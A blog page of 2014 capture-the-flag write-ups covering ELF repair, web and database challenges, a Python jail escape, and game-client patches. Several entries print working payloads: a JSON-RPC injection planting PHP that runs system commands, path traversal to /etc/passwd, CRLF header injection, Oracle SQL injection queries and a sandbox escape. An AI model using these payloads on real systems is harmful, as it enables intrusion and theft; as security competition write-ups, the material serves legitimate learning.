A disturbing lack of taste. Just another WordPress site

10Feb/142

Olympic CTF Sochi 2014 – Elf Quest 2 Writeup

As task hints the challenge it is composed of three parts:

1)  restore the origianl ELF header that has been corrupted by placing some 'CC' in it comparing it with another ELF header that is known to be correct. (Corrupted part are for example SO/ABI part, version, class,...)

2) after restoring the program and running it will ask us for a passphrase used to decrypt some data in it. After it decrypts the block it will show up that is is another ELF header with something hidden in it.

3) like in the previous version of elf quest we have to find a way to extract some information from it. Now counting the number of times that each byte occurs like: 0x00 100 times or 0xff 5 times etc... we'll get another corrupted ELF header but this time it contains a small decryption routine that will prints out the flag: CTF{bf7475cb1733885d35b60e13bc2d7b8f}

Razor4x

Filed under: Uncategorized 2 Comments
10Feb/140

Olympic CTF Sochi 2014 – RPC Writeup

This challenge was about injecting JSON-RPC string that will be parsed by the server. After some investigation we found out that __construct and __wakeup method can be used and need the following parameters: log_dir, debug and state:

rpc_json_call={"jsonrpc": "2.0", "method": "__construct", "params":[1,2,3]}

We then immediatly tought pointing log_dir somewhere around our control like '/var/www' to try to see if some thing is uploaded:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}}]

but nothing happened. We then tought that our file is deleted after the termination of the script so we run a py script that loops request on /test.php and prints out the result in a race condition situation:

import requests

while 1:
r = requests.get("http://109.233.61.11:8880/test.php")
if r.status_code!=404:
print r.text

But even this didn't worked. So we tryed to send a second RPC request to the server with the first one:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":1}},{"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]

and this worked! We can see a serialized object of the state we sent ("state":1) in the file. So having the arbitrary control of the state and the ability to put also strings we can now inject PHP code into it:

rpc_json_call=[{"jsonrpc": "2.0", "method": "__construct", "params":{"log_dir":"/var/www/test.php","debug":1,"state":"<?php system('cat /FLAG');?>"}},{"jsonrpc": "2.0", "method": "__wakeup", "params":{}}]

If you run this payload while our py script is running you will see that it will print the flag:

CTF{b15ffee30a117f418d1cede6faa57778}

nurfed, Razor4x

Filed under: Uncategorized No Comments
10Feb/140

Olympic CTF Sochi 2014 – xnginx Writeup

The task provide us a website where we can go trought some different outputs:

http://109.233.61.11:27280/news/?f=31-12-2013

http://109.233.61.11:27280/news/?f=01-01-2014

After testing a bit on that parameter it pointed out that there was a LFI there:

http://109.233.61.11:27280/news/?f=../../../etc/passwd

As challenge hints us, and by the way you can reache it from HTTP headers, the server running was nginx so we co ahead find its configuration file:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/nginx.conf

Now we can see that in "/etc/nginx/sites-enabled/" path there was the sites that nginx enabled to browse.

Opening the default one:

http://109.233.61.11:27280/news/?f=../../../etc/nginx/sites-enabled/default

we can see an interesting thing:

location = /secret/flag {
root /home;
internal;
}

path for access the flag is http://109.233.61.11:27280/secret/flag but since its marked with "internal" we aren't able to access it. We'll be able to do that trought CRLF in "retpath" parameter

injecting X-Accel-Redirect for bypassing this:

http://109.233.61.11:27280/?retpath=/news/%0d%0aX-Accel-Redirect:%20/secret/flag

Flag: CTF{6e75d02b8e8329bb4b45c7dabd2e1da2}

Razor4x

Filed under: Uncategorized No Comments
27Jan/140

PHD CTF Quals 2014 – oracle Writeup

In this challenge a site under construction is provided, only a PNG banner is displayed. After a bit of bruteforcing the directories we found out that in robots.txt there is a interesting link: /address_shops.php?city=Moscow . Going trought it we have the source of the page: /address_shops.php~ . Now its fairly clear that there is a SQL injection and the task is to find a way to extract the secret product. After a bit of browsing the database we found out our table:

http://195.133.87.173/address_shops.php?city=a'' union all select distinct table_name||owner as address from dba_tables-- -&debug

table SECRET_PRODUCT owned by PHD_IV_OWNER1. Thats a pitty actually since we are PHD_IV user so we don't own that table's right and we can't get its columns nor data.

How to do this so? Browsing trought the procedures and their codes:

http://195.133.87.173/address_shops.php?city=a'' union all select distinct owner||OBJECT_NAME||procedure_name as address from all_procedures-- -&debug

http://195.133.87.173/address_shops.php?city=a'' union all select distinct text as address from dba_source-- -&debug

we found out a pakcage named SHOP_PRIVATE_PKG owned by PHD_IV_OWNER2. Using the functions provided in this packages such as: GET_PRODUCT_CATEGORY,GET_PRODUCT_QUANTITY, ecc .. we'll have access to the SECRET_PRODUCTS. But how to inject custom payload? From the db dump its pointed out that on GET_PRODUCT_QAUNTITY function we have an injection point:

select p.quantity
from secret_products p
where 1 = 1
and p.name = ''' || P_PRODUCT_NAME|| '''';
where P_PRODUCT_NAME is the arg we pass to the function. Selecting the table secret_product from this function , since its owned by an owner with rights , we can dump the table.
Here is the script to extract the flag:
http://pastebin.com/HBngV1SW
Razor4x

 

Filed under: Uncategorized No Comments
27Jan/140

PHD CTF Quals 2014 – pyjail

The task gives us a python sandbox to escape. We aren't allowed to use any of the builtin function and we are denied to use this words: (?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)

Also we have limited charset:  \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}

Now inside sandbox() function there are 2 functions: we_must_be_sure_flag_part1_is_ready and we_must_be_sure_flag_part2_is_ready that copy to FLAG variable its part of the flag. Also flag will be printed only in case FLAG != part1_of_flag. In divider function() we find out that for have the complete flag we need that  int(v1) / int(v2) == 13.37 ( hard uh?). For exploit this we used divider function that is passed in our context during the eval of our input and we called the function we_must_be_sure_flag_part1_is_ready() and we_must_be_sure_flag_part2_is_ready() using its data model attribute "func_closure" + cells.

Exploiting code:

root@kaiman:/home/nms/phd$ nc 195.133.87.177 1337
leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

def get_cell_value(cell):
return type(lambda: 0)(
(lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
)()
print get_cell_value(div.func_closure[8])()
print get_cell_value(div.func_closure[9])()
---
None
None
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
root@kaiman:/home/nms/phd$

Razor4x

Filed under: Uncategorized No Comments
27Jan/142

PHD CTF Quals 2014 – lost and found part 2

After connecting to the SSH machine and inspecting the filesystem some interesting directories cames out in /var/cache/man/. After listed them all it seems that they contains huge amounts of files with random name. Listing them using the --color option we found out in /var/cache/man/cap5 that there is an executable SUID bitted.  Executing it turns out that its the tcpdump executable. Running it a lot of garbage packets comes out. Just filter them using "not port 22" and printing also the data of each packet:

/var/cache/man/cap5/a35c4b1e-c4bd-4599-9d7a-da601996862f -XX not port 22

Now just wait a bit and the flag should appear:  6470e394cbf6dab6a91682cc8585059b

Razor4x

Filed under: Uncategorized 2 Comments
27Jan/141

PHD CTF Quals 2014 – rbox and Metal Gear Felix Writeup

rbox

Easy XOR encryption. For find the key just input empty message since key^0=key:

http://pastebin.com/MuX5FAV1

Metal Gear Felix

Another easy task. A video on youtube is provided with an arithmometer and some calculcation done on it. The machine was a russian Felix Arithmometer. After googled it on its operation we just put all the caluculations together:

php -r 'echo (524813609 * 7) + (5248136090 * 3) + (52481360900 * 3) + (524813609000 * 1) - (5248136090) .
"\n";'

And get the result: 696427659143

Razor4x

Filed under: Uncategorized 1 Comment
20Jan/140

GitS 2014: lugkist (Trivia 150)

We got a list of 63 6-character lines, containing a limited set of uppercase ascii-characters. After some time we found out that these matches the cheat-commands of the GameGenie cheat-hardware. Basically it encodes an address and some data which shall be written to this address. The following decoder gives you the flag:

import operator

a = open('lugkist').read().strip().split('\n')
a = a[2:]  # strip first two lines

t = {}
for k, v in enumerate('APZLGITYEOXUKSVN'):  # GameGenie character-map
    t[v] = k

res = {}
for n in a:
    address = ((t[n[3]] & 7) << 12) | ((t[n[5]] & 7) << 8) | ((t[n[4]] & 8) << 8) | ((t[n[2]] & 7) << 4) | ((t[n[1]] & 8) << 4) | (t[n[4]] & 7) | (t[n[3]] & 8)
    data = ((t[n[1]] & 7) << 4) | ((t[n[0]] & 8) << 4) | (t[n[0]] & 7) | (t[n[5]] & 8)

res[address] = hex(data)[2:].decode('hex')

plain = ''
for k, v in sorted(res.iteritems(), key=operator.itemgetter(0)):  # sort by address
    plain += v

print plain

Flag: Power overwhelming? Back in my day cheats did not have spaces.

by ccmndhd and nsr

20Jan/140

GitS 2014: Unbearable (Pwn Adventure 75)

I have to admin we failed this. Took ages to find the solution. But pretty obvious in the end.

The challenge was to open a chest guarded bei bears. When we try to open the chest a 5:00 minutes countdown start and will be resetted if we move too far away. Also the bears start to attack us. Using infinite-jump we can jump on the chest were they can't reach us, but if the counter reaches 1:30 the bears get armed with AK47's and shoot us down in a minute.

The solution here is the wine you can buy in the north park. The wine gives you 10%-15% damage-reduction for 60 seconds. The bug here is that the Player::drinkWine(int damageReduction) function does not validate the given damageReduction.

I simply patched the GameLogic.dll (using ILSpy to extract the IL assembly, then used ilasm.exe to assemble it again. If anyone knows a better way that editing IL-assembler please please let me know!).

The patch is in Player::DrinkWine() position IL_0044. Replace ldarg.1 by ldc.i4.s 100 to get a 100% damage protection.

Now you can go to the chest, open it and simply drink one bottle of wine every 50-60 seconds so you stay invincible until the chest is open.

Flag: The Drunken Master can bear any trial

by ccmndhd and nsr

20Jan/140

GitS 2014: Rabbit of Caerbannog (Pwn Adventure 75)

This is a nice reference to Monty Python and the Holy Grail :D

We need to kill the cute little (but deadly) rabbit by using a "Holy Handgrenade". When you take a look into the GameLogic you'll see the handgrenade is the only weapon that can deal damage to the rabbit, so don't try to shoot it.

Unfortunately the only way to get such a grenade is by buying them with "Gears" in the Gear-menu. But we have no Gears, Shame. The solution is to patch the GameLogic to allow us negative purchases. The amount of stuff we buy is only checked client-side, so after patching the validation we are able to buy -1 Bag of Gold (usually substracts 99 gears and adds 200 gold, but in this case substracts 200 gold and adds 99 gears, enough for the handgrenade). Using this handgrenade we can kill the rabbit and get the flag.

Patch:

GameServerConnection::IAPPurchae(): IL_0029 change bge IL_005f to ble IL_005f (only allows negative purchases now, need to be reverted to buy the grenade afterwards)

<IAPPurchase>c__AnonyStorey18::m__21(): IL_018c remove/comment out the ret. The class is a method-callback within the ClientHandler

These patches should be enough. Flag: Thy_foe_b31ng_n4ugthy_1n_My_s1gh_t_shall_snuff_it

by ccmndhd and nsr